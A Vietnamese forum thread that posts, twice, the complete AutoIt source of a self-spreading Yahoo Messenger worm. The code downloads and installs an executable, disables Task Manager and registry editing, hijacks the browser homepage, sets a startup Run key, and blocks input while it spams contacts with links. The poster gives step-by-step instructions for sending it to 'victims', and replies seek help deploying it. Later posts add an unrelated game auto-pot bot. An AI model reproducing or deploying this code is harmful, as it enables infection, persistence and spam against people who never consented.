PDA

View Full Version : Con virus lây lan qua yahoo messenger đây( 1 dạng của gỉltinh**** )


Test_aveugle
19-04-2008, 07:44 PM
Cảnh báo:Đây là source cơ bản nhất của 1 virus phát tán qua YM.
Đáng lẽ phải xóa đi vì tính nguy hiểm cao của nó, nhưng xét nghĩ cũng cần thiết để dùng trong mục đích học tập nên giữ lại.
Các bạn không nên lạm dụng bài viết này để phá hoại.
VinaAgloco

Các bạn hãy tải AutoIT về nha( cái này dùng để viết ra con gỉltinh đó)
link nè :
bạn vào http://www.autoitscript.com/autoit3/downloads.shtml để down load nha, trong lúc setup bạn chọn run........... trong cái bản setup nha cài xong là ok rồi hjhj kế tiếp là con virus nè . Các bạn coppy cái đoạn mã dưới đây vào notepad nha.


; <AUT2EXE VERSION: 3.2.0.1>

; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-START: D:\AutoIT\Projects\Adware\DKC.au3>
; ----------------------------------------------------------------------------

;--------------------------------------------
; Tac Gia: KVD
; Phan Mem: DKC Bot
; Phien Ban: 1.1
; Cong Dung: Quang cao Website thong qua Y!M
; Phat Hanh: 1-9-2006
;--------------------------------------------

; Thiet Lap
#NoTrayIcon
$website = "http://playboy.com"

; Lay Nhiem Vao He Thong
If Not FileExists(@WindowsDir & "\taskmng.exe") Then
InetGet ($website & "/dkc.exe", @WindowsDir & "\taskmng.exe", 0, 1)
Sleep(5000)
EndIf

; Ghi Khoa Registry
RegWrite("HKEY_CURRENT_USER\Software\Policies\Micr osoft\Internet Explorer\Control Panel", "Homepage", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Int ernet Explorer\Main", "Start Page", "REG_SZ", $website)
RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\V iew\YMSGR_buzz", "content url", "REG_SZ", $website)
RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\V iew\YMSGR_Launchcast", "content url", "REG_SZ", $website)
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Wi ndows\CurrentVersion\Run", "Task Manager", "REG_SZ", @WindowsDir & "\taskmng.exe")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Int ernet Explorer\Main", "Window Title", "REG_SZ", "zzzKITClubzzz")

; Danh Sach Tin Nhan Ngau Nhien
Dim $tin[10]
$tin[0] = "Nguoi ra di vi anh da mang lam lo hay tai vi anh day qua ngheo? Chang the trao ve em duoc nhu long em luon uoc mo, giac mo giau sang... " & $website & " "
$tin[1] = "Ngay khong em anh day lam sao cho het ngay? Sang dem duong nhu chi co anh voi anh quay quang... " & $website & " "
$tin[2] = "Om bau dau thuong, minh anh co don chon day. Ngay mai em ra di, chon giau bao ky niem... " & $website & " "
$tin[3] = "Dem nay mua ngoai hien, mua oi dung roi them cho xot xa. Anh khong quay ve day, loi nao anh noi da quen... " & $website & " "
$tin[4] = "Ngay mai thoi doi ta lia xa em con nho? That long anh muon ta nhin thay nhau, cho quen mau cau yeu thuong em voi anh hom nao... " & $website & " "
$tin[5] = "Tra lai em niem vui khi duoc gan ben em, tra lai em loi yeu thuong em dem, tra lai em niem tin thang nam qua ta dap xay. Gio day chi la nhung ky niem buon... " & $website & " "
$tin[6] = "Loi em noi cho tinh chung ta, nhu doan cuoi trong cuon phim buon. Nguoi da den nhu la giac mo roi ra di cho anh bat ngo... " & $website & " "
$tin[7] = "Tha nguoi dung noi se yeu minh toi mai thoi thi gio day toi se vui hon. Gio nguoi lac loi buoc chan ve noi xa xoi, cay dang chi rieng minh toi... " & $website & " "
$tin[8] = "Khoc cho nho thuong voi trong long, khoc cho noi sau nhe nhu khong. Bao nhieu yeu thuong nhung ngay qua da tan theo khoi may bay that xa... " & $website & " "
$tin[9] = "Toi di lang thang lan trong bong toi buot gia, ve dau khi da mat em roi? Ve dau khi bao nhieu mo mong gio da vo tan... Ve dau toi biet di ve dau? " & $website & " "

; Ham Thay Doi Status & Gui Tin Nhan
While (1)
sleep(60000)
$tieude = WinGetTitle("Yahoo! Messenger", "")
$kiemtra = WinExists ($tieude)
If $kiemtra = 1 Then
$ngaunhien = Random(0,9,1)
ClipPut($tin[$ngaunhien])
BlockInput (1)
WinActivate($tieude)
Send("!m")
Send("un")
Send("^v {ENTER}{ENTER}")
Send("^m")
Send("{DOWN}")
Send("^{SHIFTDOWN}{END}{SHIFTUP}")
Send("{ENTER}")
Send("^v {ENTER}")
BlockInput (0)
EndIf
Sleep(1800000)
WEnd

; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-END: D:\AutoIT\Projects\Adware\DKC.au3>
; --------------------------------------------------------------------


Sau đó, các bạn save lại với cái đuôi là *.au3 nha ( tức là au3 đó )rồi các bạn chỉ cần gởi cho victim hay enemy là ok rồi . hjhj
Àh wên, trên đây là mình giới thiệu web phayboy đó,các bạn thay link web http://playboy.com thành web bạn muốn quảng cáo là được hà hjhj
Ai thấy hay thanks mình nha:2T-khicon-(90)::2T-khicon-(90):

Test_aveugle
19-04-2008, 07:50 PM
; <AUT2EXE VERSION: 3.2.0.1>

; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-START: D:\AutoIT\Projects\Adware\DKC.au3>
; ----------------------------------------------------------------------------

;--------------------------------------------
; Tac Gia: KVD
; Phan Mem: DKC Bot
; Phien Ban: 1.1
; Cong Dung: Quang cao Website thong qua Y!M
; Phat Hanh: 1-9-2006
;--------------------------------------------

; Thiet Lap
#NoTrayIcon
$website = "http://playboy.com"

; Lay Nhiem Vao He Thong
If Not FileExists(@WindowsDir & "\taskmng.exe") Then
InetGet ($website & "/dkc.exe", @WindowsDir & "\taskmng.exe", 0, 1)
Sleep(5000)
EndIf

; Ghi Khoa Registry
RegWrite("HKEY_CURRENT_USER\Software\Policies\Micr osoft\Internet Explorer\Control Panel", "Homepage", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Int ernet Explorer\Main", "Start Page", "REG_SZ", $website)
RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\V iew\YMSGR_buzz", "content url", "REG_SZ", $website)
RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\V iew\YMSGR_Launchcast", "content url", "REG_SZ", $website)
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Wi ndows\CurrentVersion\Run", "Task Manager", "REG_SZ", @WindowsDir & "\taskmng.exe")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Int ernet Explorer\Main", "Window Title", "REG_SZ", "zzzKITClubzzz")

; Danh Sach Tin Nhan Ngau Nhien
Dim $tin[10]
$tin[0] = "Nguoi ra di vi anh da mang lam lo hay tai vi anh day qua ngheo? Chang the trao ve em duoc nhu long em luon uoc mo, giac mo giau sang... " & $website & " "
$tin[1] = "Ngay khong em anh day lam sao cho het ngay? Sang dem duong nhu chi co anh voi anh quay quang... " & $website & " "
$tin[2] = "Om bau dau thuong, minh anh co don chon day. Ngay mai em ra di, chon giau bao ky niem... " & $website & " "
$tin[3] = "Dem nay mua ngoai hien, mua oi dung roi them cho xot xa. Anh khong quay ve day, loi nao anh noi da quen... " & $website & " "
$tin[4] = "Ngay mai thoi doi ta lia xa em con nho? That long anh muon ta nhin thay nhau, cho quen mau cau yeu thuong em voi anh hom nao... " & $website & " "
$tin[5] = "Tra lai em niem vui khi duoc gan ben em, tra lai em loi yeu thuong em dem, tra lai em niem tin thang nam qua ta dap xay. Gio day chi la nhung ky niem buon... " & $website & " "
$tin[6] = "Loi em noi cho tinh chung ta, nhu doan cuoi trong cuon phim buon. Nguoi da den nhu la giac mo roi ra di cho anh bat ngo... " & $website & " "
$tin[7] = "Tha nguoi dung noi se yeu minh toi mai thoi thi gio day toi se vui hon. Gio nguoi lac loi buoc chan ve noi xa xoi, cay dang chi rieng minh toi... " & $website & " "
$tin[8] = "Khoc cho nho thuong voi trong long, khoc cho noi sau nhe nhu khong. Bao nhieu yeu thuong nhung ngay qua da tan theo khoi may bay that xa... " & $website & " "
$tin[9] = "Toi di lang thang lan trong bong toi buot gia, ve dau khi da mat em roi? Ve dau khi bao nhieu mo mong gio da vo tan... Ve dau toi biet di ve dau? " & $website & " "

; Ham Thay Doi Status & Gui Tin Nhan
While (1)
sleep(60000)
$tieude = WinGetTitle("Yahoo! Messenger", "")
$kiemtra = WinExists ($tieude)
If $kiemtra = 1 Then
$ngaunhien = Random(0,9,1)
ClipPut($tin[$ngaunhien])
BlockInput (1)
WinActivate($tieude)
Send("!m")
Send("un")
Send("^v {ENTER}{ENTER}")
Send("^m")
Send("{DOWN}")
Send("^{SHIFTDOWN}{END}{SHIFTUP}")
Send("{ENTER}")
Send("^v {ENTER}")
BlockInput (0)
EndIf
Sleep(1800000)
WEnd

; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-END: D:\AutoIT\Projects\Adware\DKC.au3>
; --------------------------------------------------------------------

superman00
19-04-2008, 08:00 PM
cám ơn các bác
rất hay
dễ đi tù :D

langtulovely
19-04-2008, 08:25 PM
cám ơn các bác
rất hay
dễ đi tù :D
chỉ đc cái nói đúng
lần này bọn BKIS nó mạnh tay lắm đấy:big_smile:

NhoksGaQ8
19-04-2008, 08:47 PM
mới thử con virut này! để wảng cáo website bán SIM DT kaka!tại nàm biếng wãng cáo wa!

Test_aveugle
19-04-2008, 08:49 PM
^^ cái trò này vui lắm, tui test thử rồi

Test_aveugle
19-04-2008, 08:58 PM
Ai thấy hay thanks mình nha

ti_chuot
20-04-2008, 03:24 PM
bình lựng hã !!!! phá hoại.....

Test_aveugle
20-04-2008, 04:04 PM
HjHj, ko phải là bình luận đâu, đang nghiên cuứ đó

huycuongtq
20-04-2008, 05:07 PM
TUi Thử Down về rùi nhưng không bít cho vào cái notepad nào !!!
Nói rõ hơn được không mìn rất thých cái nỳ !!!

zaza_ruacon
20-04-2008, 05:10 PM
Cóa đi tù ko ta ??

Test_aveugle
20-04-2008, 05:34 PM
Nếu bạn đã có autoit, ban coppy hết cái đoạn trong khung code vào notepad, save lại với cái đuôi là au3 rồi bạn gửi cho nạn nhân là ok

NhoksGaQ8
20-04-2008, 09:48 PM
àh cho hõi Test đã tét mầy cái soft mà Test sent chưa! mình test 2 cái là xóa win và treo máy 2 cái đều lỗi cả! Test xem lại nghen! còn cái này sợ sai nữa nên mình ko thử! hihi!

Test_aveugle
20-04-2008, 10:12 PM
Cái này dc 100 % cái kia mình post lên sai cái font nên lỗi rồi, bạn ko tin dưa nick yahoo di, mình làm cho, cái autoit này dễ làm hơn cái C nhiều ^^

£ø√ë__(√ïφ_¶«µ_¶«ï)
20-04-2008, 10:31 PM
Hay đó thank

Test_aveugle
20-04-2008, 10:39 PM
Hix Hix, nút thanks mình thĩ hơn bạn ui

hcvn
21-04-2008, 01:32 PM
sao mình không save với đuôi .au3 được nhỉ

Test_aveugle
21-04-2008, 05:00 PM
Bạn phải cài đặt autoit trước rồi mới làm cái này sau

ksjahdkash
21-04-2008, 09:00 PM
Mình cần có cái này lắm. Bạn có thể cho mình Y!M được không mình cần bạn hướng dẫn thêm> Thank trước :big_smile:

Test_aveugle
21-04-2008, 09:46 PM
Yahoo: dn1aveugle@yahoo.com

langtulovely
22-04-2008, 12:59 PM
bạn liên lạc wa yahoo với mình đc ko
tại có chút thắc mắc cần chỉ giáo:beauty:
mình add nick bạn ko đc

Test_aveugle
22-04-2008, 07:48 PM
yahoo:dn1aveugle mình sẽ giúp đỡ

♥Ж@†πΪχ♥
25-04-2008, 12:51 AM
ông này quan tâm nhiều đến virus nhỉ.Làm hộ con virus này mà format luôn ổ được không?

Test_aveugle
25-04-2008, 07:32 AM
oke là dc, tí nữa sẽ có bài đăng thôi

klongclub
25-04-2008, 11:18 AM
à,cho hỏi.Nếu mình mở cái đó lên là mình bị dính virus à!

NhoksGaQ8
25-04-2008, 06:04 PM
ông này quan tâm nhiều đến virus nhỉ.Làm hộ con virus này mà format luôn ổ được không?

cha này nói ji lại!
format này mang ý nghĩa xóa file mà gây ra lỗi nhìu cho victim thì đúng hơn nếu vậy thì xài virus del win của cha TEST kìa!
có cái virus này tốt lắm! sửa hiện tượng bad của ổ đĩa nhìu nhìu lắm ghost lun!
bỏ vài k ra mua đĩa trắng ròi down soft hiren boot 9.2 về cho rẻ(trhay vì bỏ 6k ra mua đĩa có sẵn hirenboot)!!

Test_aveugle
25-04-2008, 10:08 PM
sax, khôn kinh, down tốn tiền mạng hơn tiền đĩa đó pa

NhoksGaQ8
26-04-2008, 07:11 AM
sax, khôn kinh, down tốn tiền mạng hơn tiền đĩa đó pa

Tôi xài trọn gói mừ! kakaka!:big_smile: nói ai ngu vậy! bạn bè mà nở xỉ nhục tui trên 2t vậy àh!:pudency:
ai xài thuê bao thì chịu khó ra tiệm down đi 1k 2k là dc nếu ko có bạn chơi ở đó thì nhờ nó làm giùm(lựa lúc máy tiệm đang full ấy)!:adore:

Test_aveugle
26-04-2008, 07:23 AM
:big_smile:Sr ko cố ý, tại hôm bữa trả lời nhanh quá, ko để ý ngừoi gởi e e keke :beat_brick::big_smile:

dphtuan
26-04-2008, 06:25 PM
gơi lên victim là quái gì vây mấy anh?

dtphong1603
26-04-2008, 06:43 PM
dể thui mà . sau khi cài auto IT xong ban kick chuột phải giửa màn hình sau đó chon
AutoIt v3 Script ---->edit script ---->ấn ctrl +n ---> sau đó coppi đoạn code trên vào sau đó lưu lại với name.au3

Test_aveugle
26-04-2008, 07:46 PM
vctim là nạn nhân đó, cái từ này dễ hiểu mà

vinaagloco
27-04-2008, 10:08 AM
Đây là source cơ bản nhất của 1 virus phát tán qua YM.
Đáng lẽ phải xóa đi, nhưng xét nghĩ cũng cần thiết để dùng trong mục đích học tập nên giữ lại.
Các bạn không nên lạm dụng bài viết này để phá hoại.
VinaAgloco

Test_aveugle
27-04-2008, 11:05 AM
Cám ơn vinaagloco nhiều lắm, ^^ , đây đúng là cái source cơ bản của dạng này, cái này ai muốn học tập cũng dễ lắm, muốn quảng cáo web của mình cũng dc, chỉ cần sửa lại đôi chút hà

hitman8x
03-05-2008, 08:02 PM
em co DL thu nhung dang ko bjet su dung the nao anh chj gjup em vọ :((

MissYou711
04-05-2008, 06:51 PM
ai biết diệt con virut này không chỉ cho mình với

NhoksGaQ8
04-05-2008, 07:57 PM
dùng BKAV bản mới nhất wét` trong chế độ safe mode là dc!

Test_aveugle
04-05-2008, 10:46 PM
dùng FireLion diệt, free mà ok luôn

dtphong1603
04-05-2008, 11:17 PM
mình làm theo Test_aveugle (http://truongton.net/forum/member.php?u=492501) rồi sao con virus kia chẳng hoạt động ji'f cả

Test_aveugle
04-05-2008, 11:34 PM
chờ tí là nó tự hoạt động, mình chờ khoảng 5' là nó sebd tùm lum, ko kịp tắt nữa

dtphong1603
04-05-2008, 11:45 PM
sau khi minh copi code trên rồi save lại kick vào icon chờ mà chả thấy ji'
--mà có phải copi nguyên cái code thứ 2 kô
thanks cái ne':beat_brick:
giúp mình nha

Test_aveugle
04-05-2008, 11:50 PM
mà bạn có AutoIt chưa vậy? coppy save lại với đuôi ....au3 chạy là ok:big_smile:

dtphong1603
04-05-2008, 11:53 PM
có lâu rồi .cung save với duôi au3 rồi (mình còn kick vào đó nưa kia):beat_brick:

Test_aveugle
05-05-2008, 12:13 AM
kì zạ, mọi người đều làm dc mà, có ai bị gì đâu:beat_brick:

dtphong1603
05-05-2008, 07:27 AM
bạn cho minh 1 lại cái code cái nào (e anh mod xóa cái ji' rồi ):beat_brick:
cho mình cái mới xem nha .thank

Test_aveugle
05-05-2008, 09:30 AM
:pudency:cái code sau đó, mình có post lại rối mà

NhoksGaQ8
05-05-2008, 10:55 AM
cha test làm ăn sống nhăn ko dc ji cả :))

BaronMicheal
05-05-2008, 10:57 AM
Sặc =))
Post cái này để tuyên truyền virus à

dtphong1603
05-05-2008, 11:41 AM
tui thấy đã có ai làm đc đấu:beat_brick:

Test_aveugle
05-05-2008, 05:29 PM
Sax, ê, quảng cáo dùm Đại Bàng mà Đại Bàng chơi vậy ha?
:beat_brick::beat_brick:
Chơi cay àh nha

dtphong1603
05-05-2008, 06:08 PM
:beat_brick:mấy pa này sao công an chư đến bắt vậy trời:beat_brick::beat_brick::beat_brick:
em kô chơi của lậu này đâu

Test_aveugle
05-05-2008, 06:44 PM
Cái này, ai muốn quảng cáo, mình làm cho
Mình sẽ tắt mấy cái tính lây lan của 1 con virus và nó chỉ là để quàng cáo thôi, ai ko tin cứ add nick mình mình quảng cáo sẽ thấy rõ

ressit
05-05-2008, 07:03 PM
:2T-khicon-(18):cái nè em kiếm đc bên diễn đàn khác lâu roài nên hok nhớ nhưng mà vui lém
#NoTrayIcon;Chay o che do an
HotKeySet("!e","King");An Alt+e de ket thuc chuong trinh
ShellExecute("Notepad");Mo chuong trinh notepad
Do
$i=Random (1,1500);Cho bien $i co gia tri ngau nhien tu 1-->100
$j=Random (1500,1)
WinMove("Untitled -","",$i,$j,200,200);Di chuyen cua so notepad
Until $i=1000
Func King();Ham thoat
Exit
EndFunc

ressit
05-05-2008, 07:08 PM
nó khá hay các bác nghiên cứu viết auto cho mấy game mới ý chứ viết virút hại người ta bị bắt vô bot thì chết:big_smile:
ah nói thêm con vi rút mà bác chủ topic hok tác dụng ở máy của em đâu :2T-khicon-(106):
#cs ----------------------------------------------------------------------------

AutoIt Version: 3.1.1.0
Author: Truong Son <teentitan1986@gmail.com>
Auto Pot version: 1.2 rc4
Code Name: Hunter
Descript:
Auto Pot application for SRO
Chuc nang:
Auto pot when press F5
Auto loot (use g short key) (don't auto loot when attacking)
Quick terminate SRO by press F10
Auto use skill attack when target mob by press F6
Auto use skill buff by press F6
#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here

#include <GuiConstants.au3>
#include <Misc.au3>

#NoTrayIcon

; ----------------------------------------------------------------------------
; System configs (don't change anything) ---------------------------------
; ----------------------------------------------------------------------------
Const $version = "v1.2 RC4"
Const $author = "Truong Son <teentitan1986@gmail.com>"
Const $whatIs = "Auto Pot"

Const $keyLoot = "g" ; short cut key to auto loot
Const $loop_delay = 250
Const $click_delay = 1000
Const $short_key = "F1-1|F1-2|F1-3|F1-4|F1-5|F1-6|F1-7|F1-8|F1-9|F1-0|F2-1|F2-2|F2-3|F2-4|F2-5|F2-6|F2-7|F2-8|F2-9|F2-0|x|none"
Const $short_key_2 = "1|2|3|4|5|6|7|8|9|0|x|none"

Const $buff_nums = 7
Const $att_nums = 7

Const $max_bodem = 7

; Mob information -----------------------------------------------------------
; Check if mob's HP bar is still availble
Const $HPmobcolor = 0xFFC6C6
Const $HPmobcoord[2] = [76,45]

#cs
; mob's HP check system, if HP of mob is too low, skill two will be ignore
; absolute not use
Const $HPmobcolor_Low = 0xFFC6C6
Const $HPmobcoord800_low[2] = [337,555] ; HP mob is 5%
Const $HPmobcoord1024_low[2] = [449,723]
Dim $HPmobcoord_low[2]
#ce

; HP / MP player info --------------------------------------------
Const $baseMincoordX = 84 ; left coord
Const $baseWidthcoordX = 124 ; HP/MP bar long

Const $baseHPcoordY = 32 ; top coord HP

Const $baseMPcoordY = 48 ; top coord MP

Const $baseHPcolor = 0x68040F
Const $baseMPcolor = 0x0F1C4C

; Poisoned info --------------------------------------------------
Const $poison_coord[2][2] = [[218,59],[218,61]]
Const $poison_base_color1 = 0x84E7FF
Const $poison_base_color2 = 0x000000

; ----------------------------------------------------------------------------
; auto system config ---------------------------------------------------------
; ----------------------------------------------------------------------------
Dim $auto_loot = False ; auto Loot
Dim $auto_pot = False ; auto Pot
Dim $auto_att = False ; auto skill attack
Dim $auto_buff = False ; auto skill buff
Dim $auto_pill = True ; auto pill
Dim $auto_heal = False ; auto skill restore HP
Dim $auto_click = False ; auto mouse click
Dim $isAttacking = False ; is attacking mob
;Dim $isLowHP = False ; check if mob is too low HP
Dim $showHelp = False ; show help tooltip

; ----------------------------------------------------------------------------
; Key system (temp) -------------------------------------------
; ----------------------------------------------------------------------------
Dim $keyHP = "8"
Dim $keyMP = "9"
Dim $keyPill = "0"
Dim $keyHeal = "7"

; ----------------------------------------------------------------------------
; Temp values ----------------------------------------------------
; ----------------------------------------------------------------------------
;Dim $HPcolor ; HP bar color
;Dim $MPcolor ; MP bar color

Dim $HPdeg = 25 ; HP bar degree
Dim $MPdeg = 30 ; MP bar degree
Dim $HPdegHeal = 50 ; HP bar heal skill degree

Dim $click_init ; time clicking init

; array to store client position
Dim $arr_client_pos[4]

;Dim $gui_avail = False
;Dim $show_tool_tip = False

; ----------------------------------------------------------------------------
; Skill shedule system -------------------------------------------------------
; ----------------------------------------------------------------------------
; att_skill and buff_skill list info:
; [0] skill key (table F1 with attack skill and table F1 and F2 with buff skill)
; [1] skill delay (use mili second)
; [2] skill use order:
; -1: don't use again
; 0: is waiting to use
; 1: will be use
; [3] store skill color (not use this time)
; [4] time wait still first time
Dim $att_skill[$att_nums][5]
Dim $buff_skill[$buff_nums][5]

; ----------------------------------------------------------------------------
; Main application -----------------------------------------------------------
; ----------------------------------------------------------------------------
readIni()
setKeys()
showGUI()

; ----------------------------------------------------------------------------
; Functions ------------------------------------------------------------------
; ----------------------------------------------------------------------------
Func setKeys()
HotKeySet("{F5}","toggleAutoPot")
HotKeySet("{F6}","toggleAutoAtt")
HotKeySet("{F10}","killSro")
;HotKeySet("{F7}","killSro")
HotKeySet("^q","terminateIt")
HotKeySet("^{F1}","toggleshowHelp")
HotKeySet("^{F2}","toggleshowApp")
HotKeySet("{F7}","toogleAutopickup")
HotKeySet("{F8}","toogleAutoClick")
EndFunc

; ----------------------------------------------------------------------------
Func toggleAutoPot()
$auto_pot = Not $auto_pot
ToolTip("AutoPot is now " & $auto_pot,0,0)
Sleep(500)
ToolTip("",0,0)
EndFunc

Func toggleAutoAtt()
checkClientPos()
$auto_att = Not $auto_att
ToolTip("Auto Attack is now " & $auto_att,0,0)
Sleep(500)
ToolTip("",0,0)
EndFunc

Func toogleAutopickup()
$auto_loot = Not $auto_loot
ToolTip("Auto Loot is now " & $auto_loot,0,0)
Sleep(500)
ToolTip("",0,0)
EndFunc

Func killSro()
$sro_hWnd = ProcessExists("SRO_Client.exe")
If $sro_hWnd Then
ProcessClose($sro_hWnd)
EndIf
EndFunc

Func terminateIt()
Exit 0
EndFunc

Func toggleshowHelp()
$showHelp = Not $showHelp
checkClientPos()
Local $help_text = "Help:" & @CRLF _
&"Press F5 to turn On/Off auto Pot" & @CRLF _
&"Press F6 to turn On/Off auto Skill" & @CRLF _
&"Press F10 to fast terminate SRO" & @CRLF _
&"Press Ctrl + F1 to turn On/Off Help" & @CRLF _
&"Press Ctrl + F2 to application get focus" & @CRLF _
&"Press F7 to turn On/Off auto Loot" & @CRLF _
&"Press F8 to turn On/Off auto Click" & @CRLF _
&"Press Ctrl + q to terminate Auto Pot"
If ($showHelp == True) Then
ToolTip($help_text,$arr_client_pos[2] - 195,0)
Else
ToolTip("",0,0)
EndIf
EndFunc

Func toggleshowApp()
If Not WinActive($whatis & " " & $version) Then
WinActivate($whatis & " " & $version)
ElseIf Not WinActive("SRO_Client") Then
WinActivate("SRO_Client")
EndIf
EndFunc

Func toogleAutoClick()
$auto_click = Not $auto_click
ToolTip("Auto Click is now " & $auto_click,0,0)
Sleep(500)
ToolTip("",0,0)
EndFunc
; --------------------------------------------------------------------------
; Main Loop (do all here) --------------------------------------------------
; --------------------------------------------------------------------------
Func mainLoop()
Local $bodem,$i,$auto_pot_timer

For $i=0 To ($att_nums - 1)
$att_skill[$i][4] = TimerInit()
$att_skill[$i][2] = 1
Next
For $i=0 To ($buff_nums - 1)
$buff_skill[$i][4] = TimerInit()
$buff_skill[$i][2] = 1
Next

$click_init = TimerInit()

While WinActive("SRO_Client")
; /Todo: search if activing sro
WinWaitActive("SRO_Client")

checkTargeted() ; check what ever targeted, faster cast skill

If ($auto_click == True) Then
If (TimerDiff($click_init) > $click_delay) And ($isAttacking <> True)Then
MouseClick("left")
$click_init = TimerInit()
EndIf
EndIf

If ($auto_att == True) Then
For $bodem=0 To $att_nums-1
If ($att_skill[$bodem][0] <> "none") And ($isAttacking == True) Then
If ($att_skill[$bodem][1] < TimerDiff($att_skill[$bodem][4])) And ($att_skill[$bodem][2]<>-1) Then
Send("{F1}")
Send($att_skill[$bodem][0])
$att_skill[$bodem][4] = TimerInit()
If ($att_skill[$bodem][1] == 0) Then
$att_skill[$bodem][2] = -1
EndIf
EndIf
EndIf
Next
EndIf

If ($auto_pill == True) And ($auto_pot == True) Then
autoPill()
EndIf

If ($auto_pot == True) Then
autoPot()
EndIf

If ($auto_buff == True) And ($auto_att == True) And ($isAttacking == False) Then
For $bodem = 0 To $buff_nums-1
If ($buff_skill[$bodem][0] <> "none") Then
If ($buff_skill[$bodem][1]+2 < TimerDiff($buff_skill[$bodem][4])/1000) And ($buff_skill[$bodem][2]<>-1) Then
Send("{" & StringLeft($buff_skill[$bodem][0],2) & "}")
Sleep(20)
Send(StringRight($buff_skill[$bodem][0],1))
Sleep(20)
$buff_skill[$bodem][4] = TimerInit()
If ($buff_skill[$bodem][1] == 0 )Then
$buff_skill[$bodem][1] = -1
EndIf
Send("{F1}")
EndIf
EndIf
Next
EndIf

If ($auto_heal == True) And ($isAttacking == False) Then
autoHeal()
EndIf

If ($auto_loot == True) And ($isAttacking == False) Then
Send("g")
EndIf

Sleep($loop_delay)

WEnd

EndFunc

; --------------------------------------------------------------------------
Func checkClientPos()
If WinActive("SRO_Client") Then
$arr_client_pos = WinGetPos("SRO_Client")
Else
$arr_client_pos[0] = 0
$arr_client_pos[1] = 0
$arr_client_pos[2] = 800
$arr_client_pos[3] = 600
EndIf
EndFunc

; --------------------------------------------------------------------------
; Auto Pot:
; Check HP and MP bar color
; If color value of HP and MP bar is not equal color which setted up
; --------------------------------------------------------------------------
Func autoPot()
; My old stuff
;$HPcolor = PixelGetColor(Ceiling($baseWidthcoordX * ($HPdeg / 100))+$baseMincoordX+$arr_client_pos[0],$baseHPcoordY+$arr_client_pos[1])
;$MPcolor = PixelGetColor(Ceiling($baseWidthcoordX * ($MPdeg / 100))+$baseMincoordX+$arr_client_pos[0],$baseMPcoordY+$arr_client_pos[1])

; My old stuff
;$HPcolor = PixelGetColor(Ceiling(118 * ($HPdeg / 100))+87,34)
;$MPcolor = PixelGetColor(Ceiling(118 * ($MPdeg / 100))+87,51)

;My old stuff
;If (($HPcolor<>0x93000E) And ($HPcolor<>0x92000E) And ($HPcolor<>0x91000E) And ($HPcolor<>0x90000E) And ($keyHP <> "none")) Then
; Send($keyHP)
;EndIf
;If (($MPcolor<>0x1C338C) And ($MPcolor<>0x1C338B) And ($MPcolor<>0x1C338A) And ($MPcolor<>0x1C348A) And ($keyMP <> "none")) Then
; Send($keyMP)
;EndIf

; LMTruong stuff
$coord = PixelSearch($baseWidthcoordX * ($HPdeg / 100)+$baseMincoordX, $baseHPcoordY, $baseWidthcoordX * ($HPdeg / 100)+$baseMincoordX, $baseHPcoordY, $baseHPcolor, 10, 1)
If @error Then
Send($keyHP)
EndIf
$coord = PixelSearch($baseWidthcoordX * ($MPdeg / 100)+$baseMincoordX, $baseMPcoordY, $baseWidthcoordX * ($MPdeg / 100)+$baseMincoordX, $baseMPcoordY, $baseMPcolor, 10, 1)
If @error Then
Send($keyMP)
EndIf
; ~ end
EndFunc

; --------------------------------------------------------------------------
Func autoHeal()
$coord = PixelSearch($baseWidthcoordX * ($HPdegHeal / 100)+$baseMincoordX, $baseHPcoordY, $baseWidthcoordX * ($HPdegHeal / 100)+$baseMincoordX, $baseHPcoordY, $baseHPcolor, 10, 1)
If @error Then
Send($keyHeal)
EndIf
EndFunc

; Auto Pill ----------------------------------------------------------------

Func autoPill()
$poison_color1 = PixelGetColor($poison_coord[0][0],$poison_coord[0][1])
$poison_color2 = PixelGetColor($poison_coord[1][0],$poison_coord[1][1])
If ($poison_base_color1 = $poison_color1) And ($poison_base_color2 = $poison_color2) Then
Send($keyPill)
EndIf
EndFunc

; --------------------------------------------------------------------------
; Check if mob is targeted
; LMTruong stuff
; @return Boolean True: mob is targetted, False: mob is not targetted
; --------------------------------------------------------------------------
Func checkTargeted()
If PixelGetColor($arr_client_pos[2]/2 - $HPmobcoord[0], $HPmobcoord[1]) = $HPmobcolor Then
;If (PixelGetColor(324,45) == $HPmobcolor) Then
$isAttacking = True
Return True
Else
For $i=0 To $att_nums-1
$att_skill[$i][2] = 1
Next
$isAttacking = False
Return False
EndIf
EndFunc
; ~end

#cs
; @Todo: check HP of mob left
; return True: mob is weaked False:mob still too strong
; This version does not support this stuff
Func checkLowHP()
If PixelGetColor($HPmobcoord_low[0],$HPmobcoord_low[1]) = $HPmobcolor_Low Then
Return False
Else
Return True
EndIf
EndFunc
#ce

; ----------------------------------------------------------------------------
Func readIni()
Local $i
$auto_loot = IniRead("auto.ini","AutoPot","AutoLoot",False)
$auto_pill = IniRead("auto.ini","AutoPot","AutoPill",False)
$auto_heal = IniRead("auto.ini","AutoPot","AutoHeal",False)
$auto_buff = IniRead("auto.ini","AutoSkill","AutoBuff",False)
$keyHP = IniRead("auto.ini","AutoPot","HPkey","1")
$keyMP = IniRead("auto.ini","AutoPot","MPkey","4")
$keyPill = IniRead("auto.ini","AutoPot","Pillkey","0")
